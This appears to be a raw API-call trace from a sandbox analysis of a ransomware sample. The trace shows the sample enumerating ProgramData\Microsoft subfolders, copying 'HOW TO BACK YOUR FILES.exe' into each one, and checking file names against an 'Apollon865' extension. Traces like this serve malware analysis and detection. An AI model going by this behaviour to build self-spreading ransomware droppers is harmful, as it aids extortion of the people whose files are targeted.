	[0050.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x5983a8
	[0050.707] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0050.707] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1
	[0050.707] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.707] lstrcmpiW (lpString1="Windows NT", lpString2="Apollon865.txt.exe") returned 1
	[0050.707] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT"
	[0050.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0050.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdf78
	[0050.708] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0050.708] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1
	[0050.708] lstrcmpiW (lpString1="WwanSvc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.708] lstrcmpiW (lpString1="WwanSvc", lpString2="Apollon865.txt.exe") returned 1
	[0050.708] lstrcpyW (in: lpString1=0x2d3e582, lpString2="WwanSvc" | out: lpString1="WwanSvc") returned="WwanSvc"
	[0050.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0050.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bdfc8
	[0050.708] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0050.708] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0
	[0050.708] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.708] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe30
	[0050.708] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\WwanSvc", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc"
	[0050.708] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdfc8 | out: hHeap=0x580000) returned 1
	[0050.708] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0050.708] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\WwanSvc") returned 32
	[0050.708] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\WwanSvc" | out: lpString1="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc"
	[0050.708] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.708] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\wwansvc\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.709] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.709] GetLastError () returned 0x0
	[0050.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.709] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.709] CloseHandle (hObject=0x15c) returned 1
	[0050.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.709] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.709] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.709] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.709] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.709] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Profiles" | out: lpString1="Profiles") returned="Profiles"
	[0050.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0050.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598408
	[0050.709] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0050.709] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
	[0050.709] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.709] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe30
	[0050.709] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles"
	[0050.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598408 | out: hHeap=0x580000) returned 1
	[0050.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0050.710] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned 41
	[0050.710] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" | out: lpString1="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles"
	[0050.710] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.710] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\wwansvc\\profiles\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.710] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.710] GetLastError () returned 0x0
	[0050.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.711] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.711] CloseHandle (hObject=0x15c) returned 1
	[0050.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.711] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.711] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.711] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.711] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.711] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT"
	[0050.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf78 | out: hHeap=0x580000) returned 1
	[0050.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0050.711] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT") returned 35
	[0050.711] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT"
	[0050.711] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.711] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.712] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.712] GetLastError () returned 0x0
	[0050.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.712] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.712] CloseHandle (hObject=0x15c) returned 1
	[0050.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.712] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.712] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.712] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.712] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.712] lstrcpyW (in: lpString1=0x2d3e598, lpString2="MSFax" | out: lpString1="MSFax") returned="MSFax"
	[0050.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0050.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598408
	[0050.712] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0050.713] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f769610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f769610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1
	[0050.713] lstrcmpiW (lpString1="MSScan", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.713] lstrcmpiW (lpString1="MSScan", lpString2="Apollon865.txt.exe") returned 1
	[0050.713] lstrcpyW (in: lpString1=0x2d3e598, lpString2="MSScan" | out: lpString1="MSScan") returned="MSScan"
	[0050.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0050.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x598468
	[0050.713] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0050.713] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f769610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f769610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0
	[0050.713] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.713] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe30
	[0050.713] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan"
	[0050.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0050.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0050.713] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned 42
	[0050.713] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan"
	[0050.713] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.713] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.713] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.714] GetLastError () returned 0x0
	[0050.714] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.714] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.714] CloseHandle (hObject=0x15c) returned 1
	[0050.714] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.714] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.714] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f769610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f769610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.714] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.714] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.714] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="WelcomeScan.jpg" | out: lpString1="WelcomeScan.jpg") returned="WelcomeScan.jpg"
	[0050.714] lstrlenW (lpString="WelcomeScan.jpg") returned 15
	[0050.714] lstrlenW (lpString="Apollon865") returned 10
	[0050.714] lstrcmpiW (lpString1="meScan.jpg", lpString2="Apollon865") returned 1
	[0050.714] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0050.714] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598408 | out: hHeap=0x580000) returned 1
	[0050.714] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0050.714] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned 41
	[0050.714] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax"
	[0050.714] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.715] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.715] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.715] GetLastError () returned 0x0
	[0050.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.715] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.715] CloseHandle (hObject=0x15c) returned 1
	[0050.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.715] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.715] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.715] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.715] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.716] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="ActivityLog" | out: lpString1="ActivityLog") returned="ActivityLog"
	[0050.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0050.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a920
	[0050.716] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0050.716] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1
	[0050.716] lstrcmpiW (lpString1="Common Coverpages", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.716] lstrcmpiW (lpString1="Common Coverpages", lpString2="Apollon865.txt.exe") returned 1
	[0050.716] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Common Coverpages" | out: lpString1="Common Coverpages") returned="Common Coverpages"
	[0050.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0050.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0050.716] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0050.716] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f78f770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.716] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.716] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1
	[0050.716] lstrcmpiW (lpString1="Inbox", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.740] lstrcmpiW (lpString1="Inbox", lpString2="Apollon865.txt.exe") returned 1
	[0050.740] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Inbox" | out: lpString1="Inbox") returned="Inbox"
	[0050.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0050.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5528
	[0050.740] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fe30
